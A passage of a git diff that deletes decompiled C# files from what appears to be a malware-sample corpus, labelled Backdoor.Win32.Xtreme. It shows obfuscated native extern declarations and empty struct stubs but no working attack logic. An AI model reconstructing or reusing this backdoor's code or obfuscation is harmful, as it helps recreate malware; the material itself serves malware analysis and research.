[MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00A1(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0095([In] Exception obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0085([In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ö([In] __FnPtr obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void ì(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int é(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void à([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Ù([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe \u00AD* Ò([In] sbyte* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Ì(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int È([In] uint obj0, [In] \u0082\u00B2* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Å(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Â( - [In] int* obj0, - [In] char*** obj1, - [In] char*** obj2, - [In] int obj3, - [In] \u0082º* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A9([In] \u0082\u00B2* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00BB([In] __FnPtr obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B6(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u00B3([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ª([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u00A4(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u009D(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0098([In] int obj0, [In] void* obj1, [In] void* obj2, [In] void* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0096([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u0087([In] byte* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u008B([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081ø(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint \u0082([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00B9([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AF([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AB([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ø([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00A1([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0096([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u008B([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0082([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] sbyte** obj3, - [In] byte obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6, - [In] byte obj7); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð([In] byte* obj0, [In] void* obj1, [In] void* obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte** obj5); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte* obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] byte* obj5, - [In] ushort obj6, - [In] ushort obj7, - [In] sbyte** obj8); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00B4([In] byte* obj0, [In] uint* obj1, [In] byte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00D7([In] byte* obj0, [In] byte* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ([In] byte* obj0, [In] uint obj1, [In] ushort obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] sbyte* obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] byte* obj3, - [In] ushort obj4, - [In] ushort obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Ã([In] byte* obj0, [In] void* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ä([In] byte* obj0, [In] void* obj1, [In] sbyte* obj2, [In] byte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2, [In] ulong* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ( - [In] byte* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ulong obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ([In] byte* obj0, [In] void* obj1, [In] uint obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u00A1([In] byte* obj0, [In] ulong obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ª([In] byte* obj0, [In] sbyte* obj1, [In] int obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A5([In] byte* obj0, [In] sbyte* obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void Ý([In] byte* obj0, [In] sbyte* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0081\u009B(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong Ï(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern long Ç(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong \u0081\u008C(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0086(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081( - [In] byte* obj0, - [In] void* obj1, - [In] int* obj2, - [In] sbyte* obj3, - [In] int obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081([In] byte* obj0, [In] void* obj1, [In] int obj2, [In] int obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u00B7([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void ù(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* ô([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* î([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0095([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ã([In] void* obj0, [In] int obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Õ(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0084([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u009A([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AE([In] void* obj0, [In] void* obj1, [In] int obj2, [In] void* obj3); - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0086.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0086.cs deleted file mode 100644 index c59440be..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0086.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.† -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 60)] - internal struct \u0086 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0088.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0088.cs deleted file mode 100644 index b4f7e98f..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0088.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_008D.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_008D.cs deleted file mode 100644 index 7b909cf4..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_008D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 56)] - internal struct \u008D - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0094.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0094.cs deleted file mode 100644 index 01629da8..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/ .cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/ .cs deleted file mode 100644 index a415ed7d..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/ .cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct \u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/¨.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/¨.cs deleted file mode 100644 index 6b3f25d6..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/­.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/­.cs deleted file mode 100644 index 81dfde72..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/­.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/±.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/±.cs deleted file mode 100644 index 6ec996f1..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/±.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.± -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u00B1 